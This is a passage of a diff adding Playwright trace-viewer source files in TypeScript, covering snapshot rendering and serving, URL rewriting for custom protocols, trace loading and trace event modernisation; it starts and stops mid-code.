return `\n(${applyPlaywrightAttributes.toString()})(${JSON.stringify(blankSnapshotUrl)},${JSON.stringify(viewport)}${targetIds.map(id => `, "${id}"`).join('')})`;
}
/**
* Best-effort Electron support: rewrite custom protocol in DOM.
* vscode-file://vscode-app/ -> https://pw-vscode-file--vscode-app/
*/
const schemas = ['about:', 'blob:', 'data:', 'file:', 'ftp:', 'http:', 'https:', 'mailto:', 'sftp:', 'ws:', 'wss:'];
const kLegacyBlobPrefix = 'http://playwright.bloburl/#';
export function rewriteURLForCustomProtocol(href: string): string {
// Legacy support, we used to prepend this to blobs, strip it away.
if (href.startsWith(kLegacyBlobPrefix))
href = href.substring(kLegacyBlobPrefix.length);
try {
const url = new URL(href);
// Sanitize URL.
if (url.protocol === 'javascript:' || url.protocol === 'vbscript:')
return 'javascript:void(0)';
// Pass through if possible.
const isBlob = url.protocol === 'blob:';
const isFile = url.protocol === 'file:';
if (!isBlob && !isFile && schemas.includes(url.protocol))
return href;
// Rewrite blob, file and custom schemas.
const prefix = 'pw-' + url.protocol.slice(0, url.protocol.length - 1);
if (!isFile)
url.protocol = 'https:';
url.hostname = url.hostname ? `${prefix}--${url.hostname}` : prefix;
if (isFile) {
// File URIs can only have their protocol changed after the hostname
// is set. (For all other URIs, we must set the protocol first.)
url.protocol = 'https:';
}
return url.toString();
} catch {
return href;
}
}
/**
* Best-effort Electron support: rewrite custom protocol in inline stylesheets.
* vscode-file://vscode-app/ -> https://pw-vscode-file--vscode-app/
*/
const urlInCSSRegex = /url\(['"]?([\w-]+:)\/\//ig;
function rewriteURLsInStyleSheetForCustomProtocol(text: string): string {
return text.replace(urlInCSSRegex, (match: string, protocol: string) => {
const isBlob = protocol === 'blob:';
const isFile = protocol === 'file:';
if (!isBlob && !isFile && schemas.includes(protocol))
return match;
return match.replace(protocol + '//', `https://pw-${protocol.slice(0, -1)}--`);
});
}
// url() inside a <style> tag can mess up with html parsing, so we encode some of them.
// As an example, the following url will close the </style> tag:
// url('data:image/svg+xml,<svg><defs><style>.a{fill:none}</style></defs><g class="a"></g></svg>')
const urlToEscapeRegex1 = /url\(\s*'([^']*)'\s*\)/ig;
const urlToEscapeRegex2 = /url\(\s*"([^"]*)"\s*\)/ig;
function escapeURLsInStyleSheet(text: string): string {
const replacer = (match: string, url: string) => {
// Conservatively encode only urls with a closing tag.
if (url.includes('</'))
return match.replace(url, encodeURI(url));
return match;
};
return text.replace(urlToEscapeRegex1, replacer).replace(urlToEscapeRegex2, replacer);
}
export const blankSnapshotUrl = 'data:text/html;base64,' + btoa(`<body></body><style>body { color-scheme: light dark; background: light-dark(white, #333) }</style>`);
@@ -0,0 +1,129 @@
/**
* Copyright (c) Microsoft Corporation.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
import type { URLSearchParams } from 'url';
import type { SnapshotRenderer } from './snapshotRenderer';
import type { SnapshotStorage } from './snapshotStorage';
import type { ResourceSnapshot } from '@trace/snapshot';
export class SnapshotServer {
private _snapshotStorage: SnapshotStorage;
private _resourceLoader: (sha1: string) => Promise<Blob | undefined>;
private _snapshotIds = new Map<string, SnapshotRenderer>();
constructor(snapshotStorage: SnapshotStorage, resourceLoader: (sha1: string) => Promise<Blob | undefined>) {
this._snapshotStorage = snapshotStorage;
this._resourceLoader = resourceLoader;
}
serveSnapshot(pageOrFrameId: string, searchParams: URLSearchParams, snapshotUrl: string): Response {
const snapshot = this._snapshot(pageOrFrameId, searchParams);
if (!snapshot)
return new Response(null, { status: 404 });
const renderedSnapshot = snapshot.render();
this._snapshotIds.set(snapshotUrl, snapshot);
return new Response(renderedSnapshot.html, { status: 200, headers: { 'Content-Type': 'text/html; charset=utf-8' } });
}
async serveClosestScreenshot(pageOrFrameId: string, searchParams: URLSearchParams): Promise<Response> {
const snapshot = this._snapshot(pageOrFrameId, searchParams);
const sha1 = snapshot?.closestScreenshot();
if (!sha1)
return new Response(null, { status: 404 });
return new Response(await this._resourceLoader(sha1));
}
serveSnapshotInfo(pageOrFrameId: string, searchParams: URLSearchParams): Response {
const snapshot = this._snapshot(pageOrFrameId, searchParams);
return this._respondWithJson(snapshot ? {
viewport: snapshot.viewport(),
url: snapshot.snapshot().frameUrl,
timestamp: snapshot.snapshot().timestamp,
wallTime: snapshot.snapshot().wallTime,
} : {
error: 'No snapshot found'
});
}
private _snapshot(pageOrFrameId: string, params: URLSearchParams) {
const name = params.get('name')!;
return this._snapshotStorage.snapshotByName(pageOrFrameId, name);
}
private _respondWithJson(object: any): Response {
return new Response(JSON.stringify(object), {
status: 200,
headers: {
'Cache-Control': 'public, max-age=31536000',
'Content-Type': 'application/json'
}
});
}
async serveResource(requestUrlAlternatives: string[], method: string, snapshotUrl: string): Promise<Response> {
let resource: ResourceSnapshot | undefined;
const snapshot = this._snapshotIds.get(snapshotUrl)!;
for (const requestUrl of requestUrlAlternatives) {
resource = snapshot?.resourceByUrl(removeHash(requestUrl), method);
if (resource)
break;
}
if (!resource)
return new Response(null, { status: 404 });
const sha1 = resource.response.content._sha1;
const content = sha1 ? await this._resourceLoader(sha1) || new Blob([]) : new Blob([]);
let contentType = resource.response.content.mimeType;
const isTextEncoding = /^text\/|^application\/(javascript|json)/.test(contentType);
if (isTextEncoding && !contentType.includes('charset'))
contentType = `${contentType}; charset=utf-8`;
const headers = new Headers();
// "x-unknown" in the har means "no content type".
if (contentType !== 'x-unknown')
headers.set('Content-Type', contentType);
for (const { name, value } of resource.response.headers)
headers.set(name, value);
headers.delete('Content-Encoding');
headers.delete('Access-Control-Allow-Origin');
headers.set('Access-Control-Allow-Origin', '*');
headers.delete('Content-Length');
headers.set('Content-Length', String(content.size));
if (this._snapshotStorage.hasResourceOverride(resource.request.url))
headers.set('Cache-Control', 'no-store, no-cache, max-age=0');
else
headers.set('Cache-Control', 'public, max-age=31536000');
const { status } = resource.response;
const isNullBodyStatus = status === 101 || status === 204 || status === 205 || status === 304;
return new Response(isNullBodyStatus ? null : content, {
headers,
status: resource.response.status,
statusText: resource.response.statusText,
});
}
}
function removeHash(url: string) {
try {
const u = new URL(url);
u.hash = '';
return u.toString();
} catch (e) {
return url;
}
}
@@ -0,0 +1,93 @@
/**
* Copyright (c) Microsoft Corporation.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
import { rewriteURLForCustomProtocol, SnapshotRenderer } from './snapshotRenderer';
import { LRUCache } from '../lruCache';
import type { FrameSnapshot, ResourceSnapshot } from '@trace/snapshot';
import type { PageEntry } from './entries';
export class SnapshotStorage {
private _frameSnapshots = new Map<string, {
raw: FrameSnapshot[],
renderers: SnapshotRenderer[],
}>();
private _cache = new LRUCache<SnapshotRenderer, string>(100_000_000); // 100MB per each trace
private _contextToResources = new Map<string, ResourceSnapshot[]>();
private _resourceUrlsWithOverrides = new Set<string>();
addResource(contextId: string, resource: ResourceSnapshot): void {
resource.request.url = rewriteURLForCustomProtocol(resource.request.url);
this._ensureResourcesForContext(contextId).push(resource);
}
addFrameSnapshot(contextId: string, snapshot: FrameSnapshot, screencastFrames: PageEntry['screencastFrames']) {
for (const override of snapshot.resourceOverrides)
override.url = rewriteURLForCustomProtocol(override.url);
let frameSnapshots = this._frameSnapshots.get(snapshot.frameId);
if (!frameSnapshots) {
frameSnapshots = {
raw: [],
renderers: [],
};
this._frameSnapshots.set(snapshot.frameId, frameSnapshots);
if (snapshot.isMainFrame)
this._frameSnapshots.set(snapshot.pageId, frameSnapshots);
}
frameSnapshots.raw.push(snapshot);
const resources = this._ensureResourcesForContext(contextId);
const renderer = new SnapshotRenderer(this._cache, resources, frameSnapshots.raw, screencastFrames, frameSnapshots.raw.length - 1);
frameSnapshots.renderers.push(renderer);
return renderer;
}
snapshotByName(pageOrFrameId: string, snapshotName: string): SnapshotRenderer | undefined {
const snapshot = this._frameSnapshots.get(pageOrFrameId);
return snapshot?.renderers.find(r => r.snapshotName === snapshotName);
}
snapshotsForTest() {
return [...this._frameSnapshots.keys()];
}
finalize() {
// Resources are not necessarily sorted in the trace file, so sort them now.
for (const resources of this._contextToResources.values())
resources.sort((a, b) => (a._monotonicTime || 0) - (b._monotonicTime || 0));
// Resources that have overrides should not be cached, otherwise we might get stale content
// while serving snapshots with different override values.
for (const frameSnapshots of this._frameSnapshots.values()) {
for (const snapshot of frameSnapshots.raw) {
for (const override of snapshot.resourceOverrides)
this._resourceUrlsWithOverrides.add(override.url);
}
}
}
hasResourceOverride(url: string) {
return this._resourceUrlsWithOverrides.has(url);
}
private _ensureResourcesForContext(contextId: string): ResourceSnapshot[] {
let resources = this._contextToResources.get(contextId);
if (!resources) {
resources = [];
this._contextToResources.set(contextId, resources);
}
return resources;
}
}
@@ -0,0 +1,158 @@
/**
* Copyright (c) Microsoft Corporation.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
import { parseClientSideCallMetadata } from './traceUtils';
import { SnapshotStorage } from './snapshotStorage';
import { TraceModernizer } from './traceModernizer';
import type { ContextEntry } from './entries';
export interface TraceLoaderBackend {
entryNames(): Promise<string[]>;
hasEntry(entryName: string): Promise<boolean>;
readText(entryName: string): Promise<string | undefined>;
readBlob(entryName: string): Promise<Blob | undefined>;
isLive(): boolean;
}
export class TraceLoader {
contextEntries: ContextEntry[] = [];
private _snapshotStorage: SnapshotStorage | undefined;
private _backend!: TraceLoaderBackend;
private _resourceToContentType = new Map<string, string>();
constructor() {
}
async load(backend: TraceLoaderBackend, traceFile?: string, unzipProgress?: (done: number, total: number) => void) {
this._backend = backend;
const prefix = traceFile?.match(/(.+)\.trace$/)?.[1];
const prefixes: string[] = [];
let hasSource = false;
for (const entryName of await this._backend.entryNames()) {
const match = entryName.match(/(.+)\.trace$/);
if (match && (!prefix || prefix === match[1]))
prefixes.push(match[1] || '');
if (entryName.includes('src@'))
hasSource = true;
}
if (!prefixes.length)
throw new Error('Cannot find .trace file');
this._snapshotStorage = new SnapshotStorage();
// 3 * ordinals progress increments below.
const total = prefixes.length * 3;
let done = 0;
for (const prefix of prefixes) {
const contextEntry = createEmptyContext();
contextEntry.hasSource = hasSource;
const modernizer = new TraceModernizer(contextEntry, this._snapshotStorage);
const trace = await this._backend.readText(prefix + '.trace') || '';
modernizer.appendTrace(trace);
unzipProgress?.(++done, total);
const network = await this._backend.readText(prefix + '.network') || '';
modernizer.appendTrace(network);
unzipProgress?.(++done, total);
contextEntry.actions = modernizer.actions().sort((a1, a2) => a1.startTime - a2.startTime);
if (!backend.isLive()) {
// Terminate actions w/o after event gracefully.
// This would close after hooks event that has not been closed because
// the trace is usually saved before after hooks complete.
for (const action of contextEntry.actions.slice().reverse()) {
if (!action.endTime && !action.error) {
for (const a of contextEntry.actions) {
if (a.parentId === action.callId && action.endTime < a.endTime)
action.endTime = a.endTime;
}
}
}
}
const stacks = await this._backend.readText(prefix + '.stacks');
if (stacks) {
const callMetadata = parseClientSideCallMetadata(JSON.parse(stacks));
for (const action of contextEntry.actions)
action.stack = action.stack || callMetadata.get(action.callId);
}
unzipProgress?.(++done, total);
for (const resource of contextEntry.resources) {
if (resource.request.postData?._sha1)
this._resourceToContentType.set(resource.request.postData._sha1, stripEncodingFromContentType(resource.request.postData.mimeType));
if (resource.response.content?._sha1)
this._resourceToContentType.set(resource.response.content._sha1, stripEncodingFromContentType(resource.response.content.mimeType));
}
this.contextEntries.push(contextEntry);
}
this._snapshotStorage.finalize();
}
async hasEntry(filename: string): Promise<boolean> {
return this._backend.hasEntry(filename);
}
async resourceForSha1(sha1: string): Promise<Blob | undefined> {
const blob = await this._backend.readBlob('resources/' + sha1);
const contentType = this._resourceToContentType.get(sha1);
// "x-unknown" in the har means "no content type".
if (!blob || contentType === undefined || contentType === 'x-unknown')
return blob;
return new Blob([blob], { type: contentType });
}
storage(): SnapshotStorage {
return this._snapshotStorage!;
}
}
function stripEncodingFromContentType(contentType: string) {
const charset = contentType.match(/^(.*);\s*charset=.*$/);
if (charset)
return charset[1];
return contentType;
}
function createEmptyContext(): ContextEntry {
return {
origin: 'testRunner',
startTime: Number.MAX_SAFE_INTEGER,
wallTime: Number.MAX_SAFE_INTEGER,
endTime: 0,
browserName: '',
options: {
deviceScaleFactor: 1,
isMobile: false,
viewport: { width: 1280, height: 800 },
},
pages: [],
resources: [],
actions: [],
events: [],
errors: [],
stdio: [],
hasSource: false,
contextId: '',
};
}
@@ -0,0 +1,469 @@
/**
* Copyright (c) Microsoft Corporation.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
import { getActionGroup, renderTitleForCall } from '../protocolFormatter';
import type { Language } from '../locatorGenerators';
import type { ResourceSnapshot } from '@trace/snapshot';
import type * as trace from '@trace/trace';
import type { ActionTraceEvent } from '@trace/trace';
import type { ActionEntry, ContextEntry, PageEntry } from './entries';
import type { StackFrame } from '@protocol/channels';
import type { ActionGroup } from '../protocolFormatter';
const contextSymbol = Symbol('context');
const nextInContextSymbol = Symbol('nextInContext');
const prevByEndTimeSymbol = Symbol('prevByEndTime');
const nextByStartTimeSymbol = Symbol('nextByStartTime');
const eventsSymbol = Symbol('events');
export type SourceLocation = {
file: string;
line: number;
column: number;
source?: SourceModel;
};
export type SourceModel = {
errors: { line: number, message: string }[];
content: string | undefined;
};
export type ResourceEntry = ResourceSnapshot & { id: string };
export type ActionTraceEventInContext = ActionEntry & {
context: ContextEntry;
};
export type ActionTreeItem = {
id: string;
children: ActionTreeItem[];
parent: ActionTreeItem | undefined;
action: ActionTraceEventInContext;
};
export type ErrorDescription = {
action?: ActionTraceEventInContext;
stack?: StackFrame[];
message: string;
};
export type Attachment = trace.AfterActionTraceEventAttachment & { callId: string };
export class TraceModel {
readonly startTime: number;
readonly endTime: number;
readonly browserName: string;
readonly channel?: string;
readonly platform?: string;
readonly playwrightVersion?: string;
readonly wallTime?: number;
readonly title?: string;
readonly options: trace.BrowserContextEventOptions;
readonly pages: PageEntry[];
readonly actions: ActionTraceEventInContext[];
readonly attachments: Attachment[];
readonly visibleAttachments: Attachment[];
readonly events: (trace.EventTraceEvent | trace.ConsoleMessageTraceEvent)[];
readonly stdio: trace.StdioTraceEvent[];
readonly errors: trace.ErrorTraceEvent[];
readonly errorDescriptors: ErrorDescription[];
readonly hasSource: boolean;
readonly hasStepData: boolean;
readonly sdkLanguage: Language | undefined;
readonly testIdAttributeName: string | undefined;
readonly sources: Map<string, SourceModel>;
resources: ResourceEntry[];
readonly actionCounters: Map<string, number>;
readonly traceUri: string;
readonly testTimeout?: number;
constructor(traceUri: string, contexts: ContextEntry[]) {
contexts.forEach(contextEntry => indexModel(contextEntry));
const libraryContext = contexts.find(context => context.origin === 'library');
this.traceUri = traceUri;
this.browserName = libraryContext?.browserName || '';
this.sdkLanguage = libraryContext?.sdkLanguage;
this.channel = libraryContext?.channel;
this.testIdAttributeName = libraryContext?.testIdAttributeName;
this.platform = libraryContext?.platform || '';
this.playwrightVersion = contexts.find(c => c.playwrightVersion)?.playwrightVersion;
this.title = libraryContext?.title || '';
this.options = libraryContext?.options || {};
this.testTimeout = contexts.find(c => c.origin === 'testRunner')?.testTimeout;
// Next call updates all timestamps for all events in library contexts, so it must be done first.
this.actions = mergeActionsAndUpdateTiming(contexts);
this.pages = ([] as PageEntry[]).concat(...contexts.map(c => c.pages));
this.wallTime = contexts.map(c => c.wallTime).reduce((prev, cur) => Math.min(prev || Number.MAX_VALUE, cur!), Number.MAX_VALUE);
this.startTime = contexts.map(c => c.startTime).reduce((prev, cur) => Math.min(prev, cur), Number.MAX_VALUE);
this.endTime = contexts.map(c => c.endTime).reduce((prev, cur) => Math.max(prev, cur), Number.MIN_VALUE);
this.events = ([] as (trace.EventTraceEvent | trace.ConsoleMessageTraceEvent)[]).concat(...contexts.map(c => c.events));
this.stdio = ([] as trace.StdioTraceEvent[]).concat(...contexts.map(c => c.stdio));
this.errors = ([] as trace.ErrorTraceEvent[]).concat(...contexts.map(c => c.errors));
this.hasSource = contexts.some(c => c.hasSource);
this.hasStepData = contexts.some(context => context.origin === 'testRunner');
this.resources = [...contexts.map(c => c.resources)].flat().map(entry => ({ ...entry, id: `${entry.pageref}-${entry.startedDateTime}-${entry.request.url}` }));
this.attachments = this.actions.flatMap(action => action.attachments?.map(attachment => ({ ...attachment, callId: action.callId, traceUri })) ?? []);
this.visibleAttachments = this.attachments.filter(attachment => !attachment.name.startsWith('_'));
this.events.sort((a1, a2) => a1.time - a2.time);
this.resources.sort((a1, a2) => a1._monotonicTime! - a2._monotonicTime!);
this.errorDescriptors = this.hasStepData ? this._errorDescriptorsFromTestRunner() : this._errorDescriptorsFromActions();
this.sources = collectSources(this.actions, this.errorDescriptors);
this.actionCounters = new Map();
for (const action of this.actions) {
action.group = action.group ?? getActionGroup({ type: action.class, method: action.method });
if (action.group)
this.actionCounters.set(action.group, 1 + (this.actionCounters.get(action.group) || 0));
}
}
createRelativeUrl(path: string) {
const url = new URL('http://localhost/' + path);
url.searchParams.set('trace', this.traceUri);
return url.toString().substring('http://localhost/'.length);
}
failedAction() {
// This find innermost action for nested ones.
return this.actions.findLast(a => a.error);
}
filteredActions(actionsFilter: ActionGroup[]) {
const filter = new Set<string>(actionsFilter);
return this.actions.filter(action => !action.group || filter.has(action.group));
}
renderActionTree(filter?: ActionGroup[]) {
const actions = this.filteredActions(filter ?? []);
const { rootItem } = buildActionTree(actions);
const actionTree: string[] = [];
const visit = (actionItem: ActionTreeItem, indent: string) => {
const title = renderTitleForCall({ ...actionItem.action, type: actionItem.action.class });
actionTree.push(`${indent}${title || actionItem.id}`);
for (const child of actionItem.children)
visit(child, indent + ' ');
};
rootItem.children.forEach(a => visit(a, ''));
return actionTree;
}
private _errorDescriptorsFromActions(): ErrorDescription[] {
const errors: ErrorDescription[] = [];
for (const action of this.actions || []) {
if (!action.error?.message)
continue;
errors.push({
action,
stack: action.stack,
message: action.error.message,
});
}
return errors;
}
private _errorDescriptorsFromTestRunner(): ErrorDescription[] {
return this.errors.filter(e => !!e.message).map((error, i) => ({
stack: error.stack,
message: error.message,
}));
}
}
function indexModel(context: ContextEntry) {
for (const page of context.pages)
(page as any)[contextSymbol] = context;
for (let i = 0; i < context.actions.length; ++i) {
const action = context.actions[i] as any;
action[contextSymbol] = context;
}
let lastNonRouteAction = undefined;
for (let i = context.actions.length - 1; i >= 0; i--) {
const action = context.actions[i] as ActionTraceEvent;
(action as any)[nextInContextSymbol] = lastNonRouteAction;
if (action.class !== 'Route')
lastNonRouteAction = action;
}
for (const event of context.events)
(event as any)[contextSymbol] = context;
for (const resource of context.resources)
(resource as any)[contextSymbol] = context;
}
function mergeActionsAndUpdateTiming(contexts: ContextEntry[]) {
const result: ActionTraceEventInContext[] = [];
const actions = mergeActionsAndUpdateTimingSameTrace(contexts);
result.push(...actions);
result.sort((a1, a2) => {
if (a2.parentId === a1.callId)
return 1;
if (a1.parentId === a2.callId)
return -1;
return a1.endTime - a2.endTime;
});
for (let i = 1; i < result.length; ++i)
(result[i] as any)[prevByEndTimeSymbol] = result[i - 1];
result.sort((a1, a2) => {
if (a2.parentId === a1.callId)
return -1;
if (a1.parentId === a2.callId)
return 1;
return a1.startTime - a2.startTime;
});
for (let i = 0; i + 1 < result.length; ++i)
(result[i] as any)[nextByStartTimeSymbol] = result[i + 1];
return result;
}
let lastTmpStepId = 0;
function mergeActionsAndUpdateTimingSameTrace(contexts: ContextEntry[]): ActionTraceEventInContext[] {
const map = new Map<string, ActionTraceEventInContext>();
const libraryContexts = contexts.filter(context => context.origin === 'library');
const testRunnerContexts = contexts.filter(context => context.origin === 'testRunner');
// With library-only or test-runner-only traces there is nothing to match.
if (!testRunnerContexts.length || !libraryContexts.length) {
return contexts.map(context => {
return context.actions.map(action => ({ ...action, context }));
}).flat();
}
for (const context of libraryContexts) {
for (const action of context.actions) {
// Never merge stepless events.
map.set(action.stepId || `tmp-step@${++lastTmpStepId}`, { ...action, context });
}
}
// Protocol call aka library contexts have startTime/endTime as server-side times.
// Step aka test runner contexts have startTime/endTime as client-side times.
// Adjust startTime/endTime on the library contexts to align them with the test
// runner steps.
const delta = monotonicTimeDeltaBetweenLibraryAndRunner(testRunnerContexts, map);
if (delta)
adjustMonotonicTime(libraryContexts, delta);
const nonPrimaryIdToPrimaryId = new Map<string, string>();
for (const context of testRunnerContexts) {
for (const action of context.actions) {
const existing = action.stepId && map.get(action.stepId);
if (existing) {
nonPrimaryIdToPrimaryId.set(action.callId, existing.callId);
if (action.error)
existing.error = action.error;
if (action.attachments)
existing.attachments = action.attachments;
if (action.annotations)
existing.annotations = action.annotations;
if (action.parentId)
existing.parentId = nonPrimaryIdToPrimaryId.get(action.parentId) ?? action.parentId;
if (action.group)
existing.group = action.group;
// For the events that are present in the test runner context, always take
// their time from the test runner context to preserve client side order.
existing.startTime = action.startTime;
existing.endTime = action.endTime;
continue;
}
if (action.parentId)
action.parentId = nonPrimaryIdToPrimaryId.get(action.parentId) ?? action.parentId;
map.set(action.stepId || `tmp-step@${++lastTmpStepId}`, { ...action, context });
}
}
return [...map.values()];
}
function adjustMonotonicTime(contexts: ContextEntry[], monotonicTimeDelta: number) {
for (const context of contexts) {
context.startTime += monotonicTimeDelta;
context.endTime += monotonicTimeDelta;
for (const action of context.actions) {
if (action.startTime)
action.startTime += monotonicTimeDelta;
if (action.endTime)
action.endTime += monotonicTimeDelta;
}
for (const event of context.events)
event.time += monotonicTimeDelta;
for (const event of context.stdio)
event.timestamp += monotonicTimeDelta;
for (const page of context.pages) {
for (const frame of page.screencastFrames)
frame.timestamp += monotonicTimeDelta;
}
for (const resource of context.resources) {
if (resource._monotonicTime)
resource._monotonicTime += monotonicTimeDelta;
}
}
}
function monotonicTimeDeltaBetweenLibraryAndRunner(nonPrimaryContexts: ContextEntry[], libraryActions: Map<string, ActionTraceEventInContext>) {
// We cannot rely on wall time or monotonic time to be the in sync
// between library and test runner contexts. So we find first action
// that is present in both runner and library contexts and use it
// to calculate the time delta, assuming the two events happened at the
// same instant.
for (const context of nonPrimaryContexts) {
for (const action of context.actions) {
if (!action.startTime)
continue;
const libraryAction = action.stepId ? libraryActions.get(action.stepId) : undefined;
if (libraryAction)
return action.startTime - libraryAction.startTime;
}
}
return 0;
}
export function buildActionTree(actions: ActionTraceEventInContext[]): { rootItem: ActionTreeItem, itemMap: Map<string, ActionTreeItem> } {
const itemMap = new Map<string, ActionTreeItem>();
for (const action of actions) {
itemMap.set(action.callId, {
id: action.callId,
parent: undefined,
children: [],
action,
});
}
const rootItem: ActionTreeItem = { action: { ...kFakeRootAction }, id: '', parent: undefined, children: [] };
for (const item of itemMap.values()) {
rootItem.action.startTime = Math.min(rootItem.action.startTime, item.action.startTime);
rootItem.action.endTime = Math.max(rootItem.action.endTime, item.action.endTime);
const parent = item.action.parentId ? itemMap.get(item.action.parentId) || rootItem : rootItem;
parent.children.push(item);
item.parent = parent;
}
const inheritStack = (item: ActionTreeItem) => {
for (const child of item.children) {
child.action.stack = child.action.stack ?? item.action.stack;
inheritStack(child);
}
};
inheritStack(rootItem);
return { rootItem, itemMap };
}
export function context(action: ActionTraceEvent | trace.EventTraceEvent | ResourceSnapshot): ContextEntry {
return (action as any)[contextSymbol];
}
function nextInContext(action: ActionTraceEvent): ActionTraceEvent {
return (action as any)[nextInContextSymbol];
}
export function previousActionByEndTime(action: ActionTraceEvent): ActionTraceEvent {
return (action as any)[prevByEndTimeSymbol];
}
export function nextActionByStartTime(action: ActionTraceEvent): ActionTraceEvent {
return (action as any)[nextByStartTimeSymbol];
}
export function stats(action: ActionTraceEvent): { errors: number, warnings: number } {
let errors = 0;
let warnings = 0;
for (const event of eventsForAction(action)) {
if (event.type === 'console') {
const type = event.messageType;
if (type === 'warning')
++warnings;
else if (type === 'error')
++errors;
}
if (event.type === 'event' && event.method === 'pageError')
++errors;
}
return { errors, warnings };
}
export function eventsForAction(action: ActionTraceEvent): (trace.EventTraceEvent | trace.ConsoleMessageTraceEvent)[] {
let result: (trace.EventTraceEvent | trace.ConsoleMessageTraceEvent)[] = (action as any)[eventsSymbol];
if (result)
return result;
const nextAction = nextInContext(action);
result = context(action).events.filter(event => {
return event.time >= action.startTime && (!nextAction || event.time < nextAction.startTime);
});
(action as any)[eventsSymbol] = result;
return result;
}
function collectSources(actions: trace.ActionTraceEvent[], errorDescriptors: ErrorDescription[]): Map<string, SourceModel> {
const result = new Map<string, SourceModel>();
for (const action of actions) {
for (const frame of action.stack || []) {
let source = result.get(frame.file);
if (!source) {
source = { errors: [], content: undefined };
result.set(frame.file, source);
}
}
}
for (const error of errorDescriptors) {
const { action, stack, message } = error;
if (!action || !stack)
continue;
result.get(stack[0].file)?.errors.push({
line: stack[0].line || 0,
message
});
}
return result;
}
const kFakeRootAction: ActionTraceEventInContext = {
type: 'action',
callId: '',
startTime: 0,
endTime: 0,
class: '',
method: '',
params: {},
log: [],
context: {
origin: 'library',
startTime: 0,
endTime: 0,
browserName: '',
wallTime: 0,
options: {},
pages: [],
resources: [],
actions: [],
events: [],
stdio: [],
errors: [],
hasSource: false,
contextId: '',
},
};
@@ -0,0 +1,441 @@
/**
* Copyright (c) Microsoft Corporation.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
import type * as trace from '@trace/trace';
import type * as traceV3 from './versions/traceV3';
import type * as traceV4 from './versions/traceV4';
import type * as traceV5 from './versions/traceV5';
import type * as traceV6 from './versions/traceV6';
import type * as traceV7 from './versions/traceV7';
import type * as traceV8 from './versions/traceV8';
import type { ActionEntry, ContextEntry, PageEntry } from './entries';
import type { SnapshotStorage } from './snapshotStorage';
export class TraceVersionError extends Error {
constructor(message: string) {
super(message);
this.name = 'TraceVersionError';
}
}
// 6 => 10/2023 ~1.40
// 7 => 05/2024 ~1.45
const latestVersion: trace.VERSION = 8;
export class TraceModernizer {
private _contextEntry: ContextEntry;
private _snapshotStorage: SnapshotStorage;
private _actionMap = new Map<string, ActionEntry>();
private _version: number | undefined;
private _pageEntries = new Map<string, PageEntry>();
private _jsHandles = new Map<string, { preview: string }>();
private _consoleObjects = new Map<string, { type: string, text: string, location: { url: string, lineNumber: number, columnNumber: number }, args?: { preview: string, value: string }[] }>();
constructor(contextEntry: ContextEntry, snapshotStorage: SnapshotStorage) {
this._contextEntry = contextEntry;
this._snapshotStorage = snapshotStorage;
}
appendTrace(trace: string) {
for (const line of trace.split('\n'))
this._appendEvent(line);
}
actions(): ActionEntry[] {
return [...this._actionMap.values()];
}
private _pageEntry(pageId: string): PageEntry {
let pageEntry = this._pageEntries.get(pageId);
if (!pageEntry) {
pageEntry = {
pageId,
screencastFrames: [],
};
this._pageEntries.set(pageId, pageEntry);
this._contextEntry.pages.push(pageEntry);
}
return pageEntry;
}
private _appendEvent(line: string) {
if (!line)
return;
const events = this._modernize(JSON.parse(line));
for (const event of events)
this._innerAppendEvent(event);
}
private _innerAppendEvent(event: trace.TraceEvent) {
const contextEntry = this._contextEntry;
switch (event.type) {
case 'context-options': {
if (event.version > latestVersion)
throw new TraceVersionError('The trace was created by a newer version of Playwright and is not supported by this version of the viewer. Please use latest Playwright to open the trace.');
this._version = event.version;
contextEntry.origin = event.origin;
contextEntry.browserName = event.browserName;
contextEntry.channel = event.channel;
contextEntry.title = event.title;
contextEntry.platform = event.platform;
contextEntry.playwrightVersion = event.playwrightVersion;
contextEntry.wallTime = event.wallTime;
contextEntry.startTime = event.monotonicTime;
contextEntry.sdkLanguage = event.sdkLanguage;
contextEntry.options = event.options;
contextEntry.testIdAttributeName = event.testIdAttributeName;
contextEntry.contextId = event.contextId ?? '';
contextEntry.testTimeout = event.testTimeout;
break;
}
case 'screencast-frame': {
this._pageEntry(event.pageId).screencastFrames.push(event);
break;
}
case 'before': {
this._actionMap.set(event.callId, { ...event, type: 'action', endTime: 0, log: [] });
break;
}
case 'input': {
const existing = this._actionMap.get(event.callId);
existing!.inputSnapshot = event.inputSnapshot;
existing!.point = event.point;
break;
}
case 'log': {
const existing = this._actionMap.get(event.callId);
// We have some corrupted traces out there, tolerate them.
if (!existing)
return;
existing.log.push({
time: event.time,
message: event.message,
});
break;
}
case 'after': {
const existing = this._actionMap.get(event.callId);
